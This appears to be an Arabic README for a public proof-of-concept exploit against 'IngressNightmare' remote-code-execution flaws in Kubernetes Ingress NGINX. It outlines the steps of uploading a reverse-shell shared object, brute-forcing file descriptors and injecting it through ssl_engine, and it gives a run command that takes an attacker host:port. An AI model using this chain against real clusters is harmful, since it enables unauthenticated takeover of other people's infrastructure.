
PoC لـ Ingress RCE
يوفر هذا المشروع استغلالًا يستهدف ثغرات حرجة تتعلق بـ تنفيذ التعليمات البرمجية عن بُعد (RCE) غير المصادق عليه في Ingress NGINX Controller الخاص بـ Kubernetes، والتي يشار إليها مجتمعة باسم IngressNightmare.
في البحث الأصلي، لم يقدم فريق Wiz استغلالًا (PoC) أو استغلالًا وظيفيًا، لذا قررنا إنشاء استغلال خاص بنا ومشاركته مع المجتمع.
يُعد Ingress NGINX Controller مكوّنًا مستخدمًا على نطاق واسع في بيئات Kubernetes، حيث يدير الوصول الخارجي إلى الخدمات داخل المجموعات (Clusters). وقد أبرزت الثغرات الأخيرة (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) مخاطر أمنية حرجة.
يتبع الاستغلال الخطوات الرئيسية التالية:
إنشاء الكائن المشترك (shared object) (يُستخدم بواسطة خاصية ssl_engine المحقونة):
يقوم بتجميع مكتبة .so (evil_engine.so) تحتوي على حمولة ريفيرس شل (reverse shell).
رفع الكائن المشترك:
يرسل الكائن المشترك المُجمَّع إلى ingress pod، مستفيدًا من معالجة الطلبات (client body buffers). الحيلة هنا هي إرسال Content-Length مختلف إلى الخادم لإبقاء الاتصال مفتوحًا.
تخمين fd (Brute-force fd):
يتكرر عبر معرفات العمليات (process IDs) وواصفات الملفات (/proc/{pid}/fd/{fd}) لتحديد الواصف الصحيح الذي يشير إلى الكائن المرفوع.
الاستخدام
المتطلبات الأساسية:
تشغيل الاستغلال:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port)
مثال: python3 poc.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
في بعض الأحيان يكون admission webhook في namespace مختلف. في هذه الحالة، تحتاج إلى تحديد الـ namespace في النهاية، مثل kube-system أو default أو ingress-nginx.
<ingress_url>: عنوان Ingress الهدف (عام)<admission_webhook_url>: عنوان Admission webhook (webhook داخلي)[attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port): المضيف والمنفذ الخاصان بك للريفيرس شلإخلاء مسؤولية
يُقدَّم هذا الاستغلال لأغراض تعليمية وبحثية فقط. يُحظر استخدام هذه الأداة ضد أي أهداف دون إذن صريح. لا تتحمل Hakai Security وQuimeraX أي مسؤولية عن أي إساءة استخدام لهذه الأداة.